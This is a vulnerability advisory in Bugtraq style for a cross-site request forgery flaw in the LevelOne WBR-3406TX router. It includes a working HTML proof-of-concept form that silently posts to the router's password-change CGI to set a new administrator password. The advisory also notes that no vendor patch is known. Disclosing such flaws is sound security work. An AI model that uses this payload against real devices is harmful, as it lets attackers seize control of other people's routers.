LevelOne WBR-3406TX Router Cross Site Request Forgery Vulnerability

Bugtraq ID:	63908
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 15 2013 12:00AM
Updated:	Nov 15 2013 12:00AM
Credit:	Yakir Wizman
Vulnerable:	Level One WBR-3406TX 0
Not Vulnerable:

LevelOne WBR-3406TX Router Cross Site Request Forgery Vulnerability

LevelOne WBR-3406TX router is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device.

LevelOne WBR-3406TX Router Cross Site Request Forgery Vulnerability

To exploit the issue an attacker must entice a user into visiting a malicious site.

The following example data is available:

<html>
<body>
<form action="http://www.example.com/cgi-bin/pass" method="POST">
<input type="hidden" name="rc" value="@" />
<input type="hidden" name="Pa" value="1234567" />
<input type="hidden" name="P1" value="1234567" />
<input type="hidden" name="rd" value="atbox" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

LevelOne WBR-3406TX Router Cross Site Request Forgery Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

LevelOne WBR-3406TX Router Cross Site Request Forgery Vulnerability

References:

• Level One HomePage (Digital Data Communications)